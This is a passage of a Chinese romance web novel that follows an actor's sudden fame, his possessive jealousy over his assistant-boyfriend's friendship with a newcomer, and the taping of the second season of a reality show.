俞悄不再说话,叶幸司拧开杯盖直接灌了两口,拿起手机对俞悄说“我先忙”。 “嗯。”俞悄把视频挂断了。 在叶幸司空荡荡的新房子里坐了很久,俞悄打开叶幸司的超话,映入眼帘是一水儿有节奏有安排的控评。 他又点开蜻蜓的app,找到叶幸司最新的那集短剧,轻喜剧略显浮夸的节奏,毫无亮点的表演,弹幕里却密密麻麻,全在玩梗,加一,喊“老公”。 那个盛产鬼畜剪辑的平台,现在去搜索叶幸司的名字,相关视频铺天盖地,标题却都打着“颜值向”,出现的也不再是一溜烟的“烂演技大赏”。 俞悄从没像此刻这样,这么怀念叶幸司的那些黑粉。 六月底,暑假档的第一批排片上线,《半地鸡毛》前期没怎么宣传,却以黑马之姿力压同期,在网上掀起讨论的热潮。 左槊的影帝身份有加持,少有的摆在明面上的同性题材吸引了大批观众,当代中年人无奈又琐碎的生活引发共鸣,男女权对吵将《半地鸡毛》的舆论热度提升到政治正确的层面,《半地鸡毛》的票房在上线第三天爆发式提升,在同类型片里拿到了惊人的数据。 而叶幸司在电影中颠覆形象的骨瘦如柴,突破自身的演技,令人又憎恶又心疼的自杀画面,让他继《天王》的段迟之后,讨论热度原地拔高楼,一跃而起。 与《天王》只在圈内的热度不一样,这次的叶幸司,是真正的火了。 全民议论。 连那些销声匿迹很久的黑粉们都纷纷炸了出来,哭叫着“不是他真会演戏了啊”? 而原剧组相聚一堂摆庆功宴时,叶幸司仍奔波于两个剧组之间,忙着拍摄手头的杀青戏。 后面的时间纪繁西没给他接剧本,因为综艺和访谈节目少不了。 俞悄去剧组接叶幸司回公司开会,下车的时候,门口蹲着一小群粉丝,举着叶幸司的名牌,尖叫着围上来。 叶幸司戴着墨镜口罩,被保安护着低头迈进公司大门,步履匆匆,一个眼神也没有多加施舍。 第77章 俞悄在公司门前停下了。 叶幸司的背影高大挺拔,每次走在人群里都是最醒目的那个。 做助理之后,看得最多的好像就是背影。 拿东西、跟随保护、挡狗仔、跟着艺人的脚步走,在需要的时候当墙、当棉袄、当置物架。 不需要有自己的想法,永远站在离艺人最近的地方,又永远不会被关注。 原来已经红到可以无视粉丝的地步了。 俞悄回想起无数个叶幸司的背影,想到他在红毯上无奈又宠粉的那个拥抱,倒是没有了当时那种微妙的陌生感。 也不是指责。 只是纯粹的感叹,感叹于叶幸司对于火起来这件事,适应得如此之快。 会议是什么内容,俞悄没进去听。 没身份,也没兴趣。 反正他也左右不了什么。 如今的叶幸司如日中天,纪繁西野心勃勃,一个敢接一个敢谈。整个公司如同一架战斗机器,以叶幸司为核心,上下一心创造奇迹。 好像演艺圈的天是被这群人撑着的,叶幸司一部资源没拿到,这老破内娱就得解散了。 他在纪繁西办公室里玩手机,公司群里白天搞了份文章,让所有人都转发。 是某个知名公众号的娱乐圈专栏,也不知道收多少钱,给纪繁西写了一大长篇访谈,标题夸张又震撼——《顶级经纪人:我的职责就是为观众“造神”》 访谈内容穿插着一张张精美照片,纪繁西话里话外恨不得把自己描述成圈内诸葛亮,好像她是带着使命降临在这个浮躁乏味的时代,她的心里只有两头:一头为艺人的梦想保驾护航,另一头为观众塑造精神偶像。 俞悄看着这些文质彬彬的用词,想起纪繁西平时对那些艺人破口大骂的模样,发自心底地笑出了声。 尤其是访谈里有关经纪人身份认同的那几条问答。 纪繁西:其实在我个人看来,经纪人这种身份,包括助理,还有很多工作人员,都是要把自己“埋起来”的。 公众号:像古代的“幕僚”。 纪繁西:对,因为我的艺人擅长的领域很多都不一样,想要发展的方向也不一样。我的工作就是帮助每个人找到他们最适合的路,根据我的经验提供参考意见。 公众号:会左右艺人的决定吗? 纪繁西:我们永远不会真正的左右艺人,去代替艺人做主。因为经纪人去经营的对象就是艺人,所以重点永远是艺人本身,而不是经纪人。 公众号:艺人会有“不听话”的情况吗?观念有冲突的时候经纪人会怎么处理? 纪繁西:当然会有,叶幸司就是最不听话的那个(笑)。他以前一直不温不火,我很急,因为他条件真的很好。但幸司非常倔,他只想当演员。我跟他聊过以后就说好,那我们就做演员。只要艺人的方向是对的,我自然是支持和尊重的。 公众号:所以有了《天王》里的段迟,和《半地鸡毛》里的方奇妙。 纪繁西:是的,我当时看到这两个本子就对幸司说你一定要接,这种时候我会强硬一些。然后方奇妙那个角色需要减重,我帮他请了营养师和塑形教练,安排助理二十四小时关注他的身体和心理。幸司也很努力,他是真的二十天瘦了二十斤。 公众号:抓住好机会,提供真帮助。 纪繁西:对,这是我对于自己的职业要求。 公众号:能力越大争议越多,你有刷到网上关于你的一些评价吗? 纪繁西:我知道你说的那个。前阵子网上有些说我什么霸王条款、什么赚钱机器之类的说法,我看到的时候还蛮无奈的。其实我说的“埋起来”不仅仅是工作上,包括工作以外,甚至出现了纠纷的情况下,只要问题得到解决,哪怕被误会我也不会过多的解释什么。因为艺人在经纪人面前是没有秘密的,很多实情不是大家想象的那样,但我的职业素养不会让我去与带过的艺人公开对峙,我习惯了保护,还是希望大家好聚好散。 公众号:被误会不会生气? 纪繁西:不会生气,因为大多数朋友不了解这一行,习惯了。 最后那一长段都是在点蒋雨池,甚至可以说是明晃晃的威胁。 每个字都是实话,每个字都进行了巧妙的艺术处理,没有一句实在的。 纪繁西破口大骂蒋雨池是白眼狼的画面还历历在目,俞悄上下拉着访谈,咂了咂嘴。 文字游戏真是被纪姐玩得明明白白。 他没有转发,后面的内容也没有再看,只给这篇造神访谈点了个赞。 会已经开了两个小时了,俞悄今天过来是想和叶幸司说说话,他俩已经好久没有坐一起聊聊天了。结果等到现在连个眼神都没对上。 正想着不然先走吧,办公室的玻璃门被敲了两下。 俞悄背对着门坐在转椅里,懒得动,扭过头往后看。 “你好,”一个戴着帽子的高大男生推门打招呼,“纪姐在吗?” “她开会呢。”俞悄说,“你坐这等会儿吧。” “啊,她通知我今天过来谈事情。”那男生想想,摘下帽子冲俞悄笑一下,“那我等一会儿,不打扰您吧?” 年龄不大,礼貌还挺全乎。不过不是蒋雨池那种鞠躬比深都深,态度比谁都虚伪的假礼貌,给人的感觉挺舒服。 “不打扰。”俞悄盯着他五官看几眼,把转椅转了过来,“你是万洋吧?” 男生眉毛一动,俞悄知道自己认对了。 他下意识朝万洋腿上看,怕他走过来拿起自己的手机就合照。 现在回想起刚见叶幸司时的场面,俞悄依然想笑。 好在万洋没像当时的叶幸司那么神经病,大大方方应下来:“对,我是万洋。” 俞悄点点头:“你会打王者吗?” 玩着小明溜了三把狗,隔壁会议室的门开了。 一群人乌泱泱涌到走廊里,隔着一道墙俞悄都听见纪繁西提议一起去吃个饭,话音还没落地,她又灵机一动,说幸司的新房子还没暖房呢,买点东西去他新家里聚个餐。 “我自己还没回去过,”叶幸司笑笑,“钥匙在俞悄手里。” “俞悄呢?”纪繁西喊,“又去我办公室偷零食了。” “这儿呢。”俞悄捧着手机探出头,“叶幸司现在笑声都一股有钱味儿。” 叶幸司眉梢一挑,众人都笑起来。 俞悄忙着点了几下水晶结束游戏,扭头朝万洋招招手:“来。她开完会了。” “谁啊?”纪繁西问。 万洋跟俞悄一起探头,嘴角勾起来:“纪姐。” “哎哟!”纪繁西一拍脑门,“我差点忘了。什么时候来的?” “没多久,陪小悄哥打王者呢。” 万洋态度十分自然,大大方方地朝大家鞠了个躬,认出叶幸司,又专门和他打招呼:“叶老师,我是您的颜粉。” 俞悄乐了:“叶老师的作品不够你看着长大是吧?” “这俞悄,”商务总监抱着电脑嘎嘎乐,“说啥呢!” 万洋眼睛弯起来,做求饶状:“小悄哥别害我了。” “别怕,以后你就是俞悄的兵,叶老师都是他助起来的。”纪繁西拍拍万洋,“不行我去得去卫生间,到底怎么吃啊,给个说法。” “人跟你打招呼呢。”俞悄看向一直没说话的叶幸司,“叶老师。” 叶幸司的目光从万洋脸上移向俞悄,盯了他几秒,又重新看向万洋,嘴角往上牵了牵。 “一起去吃饭吧,我请客。” 请客这两个字说出来,很自然的把暖房那条提议给驳回了。 确实不方便,毕竟是如今顶流的家,自己还没回去过,一群人半生不熟的给摸了个底儿透,那算什么事。 《半地鸡毛》大卖让人精神振奋,今天的会议应该也很顺利,一群人不在工作状态里了依然亢奋,闹哄哄的商量去哪吃,要狠狠宰叶幸司一顿。 “想吃什么?”叶幸司问俞悄。 “烤肉吧。”俞悄不饿,单纯觉得烤肉方便。 叶幸司在众人嫌小气的嘘声中拍板:“好。” 俞悄熟练地掏出手机,找店,联系老板,定包间。 八个人,一辆保姆车,直接从公司的内部通道下车库。 俞悄在后排找个靠窗的位置,习惯性朝叶幸司看,万洋跟着过来,在他旁边坐下了。 “我是不是有点儿冒失?”他轻声问俞悄,“不应该跟着去吃饭。” 这心理太真实太青涩了,俞悄一下笑了起来。 “不会。”他也放低嗓子安慰万洋,“你跟着我,咱俩闷头吃就完了。” 万洋看着他笑:“好。” 这万洋果然是越看越舒服的类型,纪繁西的眼光还是有保证的,手底下没一个颜值平庸之辈。 俞悄感慨着抬头,又对上叶幸司的视线。 位儿让人占了。 之前俞悄跟他到处跑的时候,俩人都是坐在一起。 俞悄朝他比划比划,想示意万洋是新人,紧张,让叶幸司随便找个地方坐。 但叶幸司只是瞅了他一眼,没等俞悄比划完,他眼皮一垂,被纪繁西招呼着坐下了。 第78章 人和人是对比出来的,工作能力似乎也是一个道理。 俞悄总觉得自己做助理还没多久,直到现在,叶幸司那些知道他的粉丝来他评论区玩,都依然在用“眼里没活”的梗。 “眼里最没活儿”的助理,似乎成了他稳定的人设。 俞悄自己也这么觉得。 他始终觉得自己还是新人,很多很多东西都不懂,面对大场面还不够自在,见到大腕儿也还会激动,之前负责的工作看似忙忙叨叨,实际上也就跟贴身保姆的性质差不多。 甚至还不能像叶幸司一样,无视他的粉丝。 可面对真正的新人万洋,俞悄突然发现,自己这个老新人,在不知不觉中还是油滑了不少。 他故意提前把饭店信息发给纪繁西,然后带着万洋最后下车。 包间是提前安排好的长条桌,没什么明显的主次之分,进去以后,他就找了个既靠里又不显眼的位置。 “你坐这边吧小悄哥。” 万洋还在那谦让,觉得最角落的位置应该由他来坐,想让俞悄往外挪。 俞悄连忙扯着他的胳膊让他坐好。 这群人娱乐公司的人穷讲究多得要命,如果坐在上菜口,等会儿要东要西,端菜递水少不了折腾。 叶幸司自然和纪繁西被簇拥在长桌中间,和俞悄隔着两个人,也用不着他管。 现在的俞悄不是眼里没活儿,他是看见活儿也不想干。 他们七嘴八舌点菜的时候,俞悄掏出手机怼咕一下万洋:“继续。” “还打?”万洋没动,笑了下,“又菜又爱玩。” “什么意思?”俞悄不服,“我故意玩游走,把输出的风采留给你好不好。” “这么好。”万洋主动帮左右倒上水,冲俞悄挤挤眼,“晚点儿玩,不然该觉得我没礼貌了。” 俞悄想说其实没人能注意到你。 但这话和普通朋友说着玩没毛病,但是对艺人有点晦气。 他就杵着脸没吱声,看万洋明明参与不进话题,还是做认真状聆听谈话的模样,想起了刚入行时谨小慎微的自己。 纪繁西他们在聊叶幸司下一档要上映的节目,俞悄打断她问:“今天喊万洋过来是什么事,纪姐。” 这么没礼貌的事也就他这个亲外甥敢干。 众人的目光一瞬间聚拢过来,万洋愣愣,笑着扭脸看俞悄:“啊?” 这一“啊”很聪明,既把聚焦还给俞悄,不让自己喧宾夺主,又能淡化想出风头的错觉。 “万洋这孩子不错的。” 纪繁西对万洋是真的很有好感,向其他部门的主管们介绍。 “他自己做的账号已经三十万粉了,比幸司去《塌房》的时候粉丝可多多了。” 这句实在太好笑了,俞悄第一个憋不住笑出声,但是对上叶幸司盯着他的目光,立马清清嗓子憋了回去。 “哎我纪姐。”万洋是真有点紧张,忙自谦,“我就是瞎弄,已经很久不涨粉了。” “做什么赛道的?”有人问。 “记录生活。”万洋说。 “还不好意思,”纪繁西捏了片西瓜,朝万洋抬抬下巴,“你告诉他们你具体是记录什么生活。” “家教。”万洋笑笑,“有些小朋友挺有意思的,我去上课的时候就开着直播,然后整理一些片段发出来。” 大家“啊”一声点点头,又聊起了现在短视频平台各赛道的现状。 万洋轻轻舒口气,小声对俞悄说:“突然Cue我,吓我一跳。” “偷着乐吧。”俞悄掏手机去搜万洋的账号,给他贡献一个关注。 帮着万洋打开话题后,除了纪繁西喊他,俞悄都没再主动开口接话。 他真的只是闷头吃,听他们讨论让叶幸司后面再去接谁的网剧谁的电影,也一声不吭。 吃饱喝足后,俞悄安静坐了会儿,问万洋:“你自己行吗?” “嗯?”万洋一副很坐得住的模样,“我没问题。” “好。”俞悄逮住对话空隙站起身,“我吃饱啦,家里有点事,我得先走一趟。” 叶幸司这顿饭也没怎么说话,不过他在人前一直话少,又抬眼瞅过来。 “家里怎么了?”纪繁西问。 “我妹在学校跟人打起来了。”俞悄随口扯了个谎。 “那快去吧。”纪繁西听明白他是想跑,摆了摆手示意请滚。 走出包间,俞悄长长的呼出口气。 他边约车边往店外走,刚走到门前,胳膊肘被攥住了。 没有一丁点反应的时间,俞悄只来及看清叶幸司压低的帽檐,就被扯回到饭店走廊。 叶幸司随便拉开一个没人的包间,把他拽进去。 俞悄被扯了个踉跄,摸索着拍开包间灯,对上叶幸司冷得吓人的眼睛。 “吓我一跳。”他心跳开始加速,“怎么了?” “在跟我闹什么?”叶幸司问。 “我闹什么了?” “问你呢。” 叶幸司没松手,往前迈一步,把俞悄逼到紧贴门板。 “我没……”俞悄打了个磕巴。 “跟他说了四次话,盯着他看了十二次,没有主动和我多说一句。”叶幸司声音又低又沉,“故意的,是吗?” 那些具体的数字从叶幸司口中一个个报出来,就如同一把把小锤,“咚”的敲在俞悄心口,震得他天灵盖发麻,从头到脚激起一身鸡皮疙瘩。 俞悄嘴巴张了张,眼睫毛也跟着扑棱。 扑了好几下,他蔫声蔫气地憋出一句:“……你还数数呢?” 叶幸司嘴角抿了抿,眼神一点点的阴鸷下去。 俞悄完全没有冷落叶幸司的意思,今天确实一直没什么机会说上话。但他不想再掺和叶幸司的发展是真的。这不知道吃到什么时候的饭局,他坐不下去了也是真的。 他能感觉到叶幸司有些不高兴,可生气成这样,俞悄真的没想到。 更要命的是,叶幸司因为吃醋越阴沉,他越感到心动兴奋。 俞悄,你是真没救了。 “我没有,”俞悄心口荡漾得一塌糊涂,“我很想你。” “多想。”叶幸司不为所动。 俞悄不受控制地往叶幸司嘴上看,脑子一热,抬起下巴亲上去。 腰背瞬间就被箍紧了,叶幸司膝盖往前一抵,卡着俞悄的下颌把他压在门上,恶狠狠地回吻。 走廊外不断有人来回,薄薄的门板并不太隔音。 他们的包间就在斜对面,商务部主管拉开门说去下卫生间,俞悄都能听见。 “幸司人呢?怎么还没回来?”她还奇怪地嘟囔一句。 在这呢。 俞悄抱着叶幸司的肩背,被亲得膝盖发软,有种瞒着全世界偷情的刺激感。 这个念头加深了他的反应,叶幸司感觉到了,惩罚性的在俞悄嘴上咬了一下。 “去家里等我。”他抵着俞悄的脑门交代,“老实点。” “俞悄还翘着下巴一下下往他嘴上亲,小鸡啄米一样。 “怎么老实。”他问叶幸司。 叶幸司没回答。 他的五指顺着发际插进发丝,把住俞悄的后脑勺,顺着耳根又吻了两下。 然后他埋首向下,扯低俞悄的衣领,在他脖子根的位置,烙下一枚让人颤栗的吻痕。 门拉开又关上,叶幸司出去了。 俞悄坐在包间里缓了半天,用手机前摄像对着自己的脖子看看,红着脸把衣领拉到最高,像个偷葱贼,鬼鬼祟祟的离开。 这天晚上,俞悄被狠狠收拾了。 依然是什么都没做,但又什么都做了。除了没到最后一步,他浑身上下被用了个遍。 俞悄觉得自己在叶幸司的控制里时而像匹马,时而像条狗,时而像头奶牛。 动物没有羞耻心的概念,所以他在叶幸司滚烫的掌心里,也全无自尊可言。 “我做梦都没想过,会对我爸以外的人喊出那个称呼。” 情绪逐渐平息后,俞悄手臂酸软,瘫手瘫脚地在挂在崭新的浴缸边沿,直着眼睛回不来神。 叶幸司把他拽出来,站在淋浴下给他擦背,扳过脸又亲一口,问:“回味呢?” “不是个好人。”俞悄浑身都快熟了。 新家大得有点不能适应,俞悄腿脚发软地从浴室出来,坚持带叶幸司完整地看一遍他的家。 “小狗门铃我装在这里了。”他拨拨侧卧门上的铃铛,“这是我的房间。” “给自己安排完了?”叶幸司笑了,亲亲俞悄的脑袋旋儿,推门进去,“那今天在你房间睡。” 明明整个房子都是叶幸司的,被他这么说,俞悄却产生出一股奇异的羞耻感。 “你今天好像很喜欢我。” 准备入睡前,他突然轻声感慨。 叶幸司看他一眼,问:“为什么这么说?” “说错了吗?”俞悄敏感地看回去。 “为什么说今天。” “因为你吃醋了?因为亲我很多下?”俞悄想想,“可能因为你在关注我吧。” “所以是故意的吗?”叶幸司支起脑袋看他,“那么关心那个新人。” “不是。”俞悄诚实地摇摇头,“你也被无视过,所以能帮他一下就想帮一下。” “我想带他。” “虽然我自己还是个半吊子,但是对他应该能有点帮助。” 昏暗的房间安静一会儿,叶幸司摸了摸俞悄的头。 “帮助新人的同时,可以不要无视我吗?” 砰。 俞悄听见自己的心跳。 原来不是没兴趣再掺和叶幸司的发展,也不是懒得关注,所有的低落都有迹可循。 他翻个身,把眼窝压在枕头上,猛地明白了自己这段时间究竟在乏味什么。 “我以为你已经不需要我了。” 俞悄抖着嗓子说。 叶幸司把他翻回来,哄小孩似的捋捋他的后背。 “需要你。” 他的下巴垫在俞悄头顶,声带的震动直接传导进俞悄心里。 “比以前更需要。” 俞悄工作的劲头又回来了。 因为叶幸司对他说的话,也因为《塌房二》重新发来邀请,之前制片方的问题已经解决完,节目恢复运作,正式准备录制。 从节目组那里拿到的拍摄流程,和第一季差不多,依然是定个目的地,从几位固定艺人准备出发开始拍。 这一季的嘉宾阵容明显比第一季要低一截——不说叶幸司这位正在飞升期的黑马,像艾浩和白桃那两位如今稳坐实力派交椅的一线艺人,第二季也没请到同量级的来。 《塌房二》的咖位都比较小,万洋纯新人,两位虽然眼熟但叫不上名字的演员,好在九族请了一位靠毒舌远近闻名的综艺咖,补充了卡卡的角色设定。 同时节目组学聪明了,请了好几位当红明星来做飞行嘉宾,提升整档真人秀的新鲜感和收视率。 不过《塌房二》最大的改进,在俞悄看来,是增加了艺人工作场景的拍摄安排。 这不比去乡下拔那破萝卜贴合主题多了。 然而正式录制那天,让俞悄感到有意思的是,节目组对他的态度,跟第一季时有了明显的区别。 总导演是同一位,副导也还留有之前的阵容,连负责对接他的都还是那个小张。 第一季直到录完,这群人都没怎么把俞悄当回事,可在《塌房二》一口一个俞老师,导演见了他都主动寒暄。 万洋是个人精,在旁边看得明明白白。 “你这么有面儿呢,小悄哥。”准备录制前,他怼怼俞悄的胳膊,轻声调侃,“要不我给你当助理吧,你比我更有话题。” “哪是我的面儿,是你叶老师和你纪姐的面子。” 俞悄心里明镜儿似的。 万洋拖着嗓子“哦——”一声,问:“我叶老师现在忙什么呢?” “进组了。” 俞悄看看时间,早上八点半,叶幸司今天不知道有没有戏,如果有的话这会儿应该起了。 “他什么时候来录飞行?” “下周。他剧组跟咱们要去的地方离得近。” “见到我又该横鼻子冷眼了。”万洋装模作样地叹了口气。 俞悄眼皮一蹦,转头看他:“瞎说啥呢?” “嗯,瞎说呢。”万洋笑得像只清秀的狐狸。 副导过来通知开始,俞悄把话咽回去,带着万洋过去。 这小子眼睛毒得有点过头了。 《塌房二》第一期的目的地在影视城,就是叶幸司拍《爱在东南角》的那个基地。 这地方对于艺人们来说跟回家似的,但是观众会很感兴趣。 万洋这种新人也是。 “我们去拍戏吗”他饶有兴趣地问导演。 “可能会有拍戏的任务。”导演说,“你想当演员吗?你的短视频平台上也有你拍的段子。” “我差远了,不是科班的。”万洋笑笑,“但我很感兴趣。” “那你可以多问问俞老师,他有经验。” 果然,三句不离叶幸司。想方设法都要提到人家一点儿。 俞悄逆反劲儿上来了,不想让叶幸司的名字跟枪似的被使来使去,于是直奔主题问:“还是节目组零帮助,我俩自己去目的地吗?” “是的。”导演终于进入正题,递来任务卡,“还是你们自己去。最后到的有惩罚。” 万洋虽然跟圈外人没区别,但人家有爸妈,家里支持他闯这圈子,没有金钱上的顾虑。 两人直接定了飞机票,落地后,俞悄却没联系节目组。 “咱俩等时间差不多再过去,先找个地方吃东西。” “嗯。”万洋十分赞同。 “你不好奇吗?”俞悄见不得他这副轻松的模样。 回想当时的他和叶幸司,老老实实坐火车坐得腿都浮囊,结果被蒋雨池弄头驴就给镜头抢走了。 “有惩罚不就有镜头?”万洋对于俞悄的提问才感到奇怪,“我是新人,小悄哥,不是傻人。” “知道了。”俞悄木着脸往前走,“想吃日料了。” 在网上搜了家评分高的店,俞悄坐下来喝了口茶,拿出手机想给叶幸司发消息。 刚点开微信,熟悉的头像先他一步弹出来。 叶幸司:到了吗。 俞悄嘴角一咧,双手捧着手机打字:到啦,找家店吃东西。 等了两秒,叶幸司弹过来一个视频。 “我有眼屎没?”俞悄忙抓着头发问万洋。 “你就可担心眼屎了,我看《塌房一》里你就老爱检查眼屎。”万洋笑得不行,“没有,帅哥一枚。” “防不胜防。”俞悄按下接通,“哈喽。” 没等叶幸司说话,万洋从旁边侧过身,胳膊往俞悄肩上一撑,歪着脑袋打招呼:“嗨,叶老师。” 他笑眯眯的,看见叶幸司在化妆,还赞美了句:“今天也这么帅。” “狗腿子。”俞悄杵了他一手肘。 “哪有,是真诚的赞美。” 他俩在这边笑着你一言我一语,叶幸司靠在化妆椅里,朝万洋的胳膊上扫一眼,扯了扯嘴角。 “谢谢。”他礼貌道,“我和俞悄有话说,可以让开点吗?” 作者有话说: 是的,喊爸爸了,这叶幸司坏得很 第79章 万洋说着“okok”离开了镜头,俞悄朝他干巴巴地咧了下嘴,拿着手机找了个没人的地方小声问:“这是干啥呢。” “怎么了?”叶幸司盯着他。 “是不是太生硬了,”俞悄说,“显得你多不待见他似的。” “我应该很待见他吗,”叶幸司说,“还是你很待见他。” “哎。”俞悄夹在中间跟他说不明白,“怎么了,什么事专门打视频来说?” 叶幸司不说话了,又盯着俞悄看一会儿,说:“没事,看看你。” 想我了。 俞悄的嘴又咧开了,这次是开心的。 “我知道。”他对叶幸司说。 视频挂掉后,叶幸司又发来一条消息:少勾肩搭背的。 俞悄对着手机傻乐半天,拍了拍叶幸司的头像。 个人情绪归个人,要是回头一起录节目的时候,叶幸司对万洋还是这个态度,那可有点难搞。 现在的观众都跟微表情专家似的,到时候节目一播,再给叶幸司扣一顶“看不起新人”的帽子,那真是连解释都没法解释。 俞悄还专门想了个理由,想着等下怎么跟万洋解释叶幸司的态度。 但万洋很聪明的什么也没问。 见俞悄拉开门回来,他只抬手招呼:“快来吃。” 俩人吃喝玩乐一整天,在俞悄的精密计算下,成功当上了最后到达的组合,被惩罚去采购食材,准备十个人的晚饭,还是点餐制。 之后的几天和《塌房一》一样,都是些日常的跑题任务。 做做饭,买买东西,分分房间,去街上表演换饭票。 “这真人秀跟一档拼好综似的。” 万洋对《塌房二》做出评价。 第一期最大的亮点,大概就是叶幸司的到场。 叶幸司在《塌房二》里的亮相,被安排在这一期的最后一天,以探班的形式,来看望自己的老助理俞悄。 所有人都清楚的流程,但在叶幸司推门进来时,大家还要表现出惊讶感与惊喜状。 一屋子人全成影帝影后了。 除了俞悄。 当时他正在厨房和万洋一起弄早饭,确实没注意有人来了,只感觉客厅突然喧哗又突然安静。 “需要帮忙吗?” 叶幸司的声音在身后响起,俞悄猛地转身,差点把案板上的餐刀带掉。 “你怎么过来了?” 不管多少次见到叶幸司,他都是真的惊喜。 “刀!” 万洋拽了俞悄一把,餐刀“铛”一声掉在俞悄刚在脚背的位置。 叶幸司刚要上前,又不动声色地放下已经提起的膝盖。 “怎么了?”众人带着镜头七嘴八舌地围过来。 “没什么,刀掉了。”万洋松开手,弯腰把刀捡起来,笑着问,“这要是扎一下算不算工伤啊?” 俞悄后知后觉地揉揉手肘,万洋刚那一拽手劲还挺大,刀没吓着他,倒是被这动静吓一跳。 “拽疼你了?”万洋捋开他的袖子要检查。 “没有没有。”俞悄忙跟他道谢,然后转头问叶幸司,“吃饭了吗大明星?” “你都会做饭了。”叶幸司说。 这句可太有节目了。 “小悄不会做饭?”其他嘉宾有些惊讶,“怪不得一到你俩做饭就五味杂陈的。” “这题我会。”万洋举举手,“第一季小悄哥眼里是一点儿活没有,什么都得叶老师弄。是吧导演?” 导演上下晃晃镜头,众人笑成一片。 “去去去。”俞悄配合节目效果,表示不服,“自己什么都不会,还一上来就挨罚,我不会也练会了。” 叶幸司伸手摘下他的围裙,反手系在自己腰上:“出去吧。” “哇——”那位综艺咖带头鼓掌,“这波真是让叶老师装到了。确实帅确实帅。” “装货。”俞悄嘀咕着去戳叶幸司的腰,手还被打了。 考虑到叶幸司现在的人气太火热,在外面被认出来容易引起骚动,加上时间有限,所以这天节目组没安排户外的活动。 “偷得浮生半日闲,金秋是收获与友情的季节,好友相聚,聚餐闲聊,便是秋日对我们最大的馈赠。” 导演念着驴唇不对马嘴的台本,宣布今天的主题。 “露台BBQ,但是有考验——各组嘉宾自行去采购食材,但注意,在不沟通的前提下,要准备至少一样,对方爱吃的食物。” “等一下等一下,不好意思导演打断一下。” 综艺咖很懂事的开口了。 他说话又快又自带东北腔,跟蹦豆儿似的,承担主持和解读规则的角色。 “就是说比如我和我助理啊,我俩一组去买菜,想吃什么买什么,但我要买一样他爱吃的,他也要买一样我爱吃的,我俩还不能问对方,是这意思吗?” “是的。” 导演让工作人员拿来一个盒子,给每人分卡片。 “现在大家把自己爱吃的食物写在卡上,然后等采购回来验查。” 综艺咖清清嗓子,又开始整节目效果:“我是不会告诉你我今天想吃金汤肥牛的啊。” “好金汤肥牛不算了。”导演笑着说。 “怎么这样。”他又问,“那叶老师咋整,我看他也没带助理啊他啊。成没人要的野生艺人了。” 镜头转向叶幸司,他配合着面露无奈。 “来错时候了。”叶幸司看向俞悄,“怎么办,前助理。” “什么意思?”俞悄抬起头,“都第二季了我还摆脱不了你吗?” “好家伙,我们是恋综吗?这什么对话这是。”综艺咖抱住头。 “坏了,我成多余的了。”万洋说。 “来吧,再来张卡。我一拖二。”俞悄向工作人员示意,“今天我是非挨罚不可了。” 所有人哄堂大笑。明明是安排好的剧本,却都演得乐在其中。 采购的地方就在附近的农贸超市,各组嘉宾分别带着跟随导演出发。 俞悄坐进车里,左边是叶幸司,右边是万洋,他对着镜头沉默几秒,笑起来:“好挤啊。” 不仅在车里挤,逛超市的整个过程中,他也是被使唤得脚打后脑勺。 叶幸司和万洋不知道是为了节目效果,还是真较上劲了,左一声俞悄右一声小悄哥,这边刚让他把小车推过来,那边就喊他说不知道选哪种肉。 “我受不了了。”俞悄感觉自己脚底踩着风火轮,“你俩能不能自己推个车?” 回到住处,别人也就买个三四样食材,镜头给到他们这组,整整三大兜。 叶幸司状若无意,俞悄面无表情,万洋对着镜头率先发言:“别问我。” “我也不知道,”他笑道,“就莫名有种想要雄竞的丑恶心理,有人懂我吗?” “笑死我了,”综艺咖受不了地蹲下去,“在雄竞什么玩意?” “我不知道你们听没听见啊,”又有人接话,“我在超市就听见叶老师和小洋在那‘俞悄俞悄’。” “我都替后期老师想好这一轱辘该怎么剪了:来个超市的大全景,然后满屏一个接一个的打满‘俞悄’和‘小悄哥’。” “这你肯定不用受罚了呀俞悄,靠概率都能蒙对。” 氛围被烘热,导演把纸盒取出来。 “那么现在,考验各位默契的时间到了。” 第80章 俞悄他们组被放在最后揭秘,前面四组嘉宾有的对上了,有的偏出天际,他看得津津有味,发现基本都是助理对艺人了解更深,四位艺人全军覆没。 不过他觉得他和叶幸司能猜对。 “轮到三人组了。” 导演把他们的卡片拿出来,先分别拍了下他们三人各自买的菜,然后一一揭秘。 “叶老师喜欢吃的是番茄,万洋喜欢的是……”导演笑了下,“加两片芝士和火鸡面的烤冷面。” “神经病吧!” 一屋子人都被逗乐了。 “俞悄的是,”导演继续读,“也是番茄。” 果然。 俞悄朝叶幸司伸手,俩人击了下掌。 录制间隙,叶幸司从卫生间拉开门喊:“俞悄,来帮我找一下东西。” “哎。”俞悄跟过去,“找什么?” “没什么。”叶幸司贴贴他的脑门,“跟你说会儿悄悄话。” 俞悄对他这样真是没招没招的。 “为什么写番茄?”他捏捏叶幸司的手,“我以为只有我这么聪明呢。” 俞悄跟叶幸司说过自己不爱吃番茄,但写卡片的时候,他鬼使神差的就写了这个东西。 “感觉你会写。”叶幸司说。 感觉。 这两个字在此刻,让俞悄感到一种难以言说的心动。 他捞起叶幸司的手亲了一下,叶幸司刮刮他的脸,他把手拽回来,又亲一下。 原本叶幸司的活动安排到吃完晚饭就差不多了,边烤串边闲聊聊天,营造一个温馨的结尾。 但真人秀和演戏最大的区别就在于,拍戏是具体到台词的剧本,而真人秀只有剧本框架。 在这个框架里,嘉宾们闲聊引出任何话题,都是不可控因素。 话题的最初是什么,俞悄已经忘了,但“备忘录”这个话题,是万洋引出来的。 “幸司拍戏有什么技巧没有啊,教教我呗。” 他半开玩笑半认真的提起叶幸司之前的演技,说他是看过叶幸司的《恋爱甜甜圈》的,看《半地鸡毛》还是被告知才认出那是叶幸司。 “真的震惊到我了,绝对下功夫了。所以你们演员都有什么特别的练习技巧?” 嘉宾里演员多,一个个都打开了话匣子。 轮到叶幸司时,他想想:“主要功劳是俞悄吧。” “所以你今天是过来咱俩互相吹捧的是吗?”俞悄作势跟他握手,两人互相“你好你好”。 “为什么是小悄哥,”万洋好奇地问,“我以为他真眼里没活儿呢。” “我帮他报过表演班?”俞悄也想听听叶幸司会怎么夸自己。 “那是一方面。”叶幸司说,“更多时候我喜欢看电影,那些经典作品,然后就找俞悄陪我复刻。” “俞悄给你搭戏吗?”综艺咖“哇塞”一声,“俞悄录个综艺都会笑场。” “对,所以我基本都是躺在那玩斗地主,然后叶幸司一个人对着我声情并茂。”俞悄说。 他和大家分享了些陪叶幸司搭戏时的趣事,俩人还被起哄着现场还原了一下。 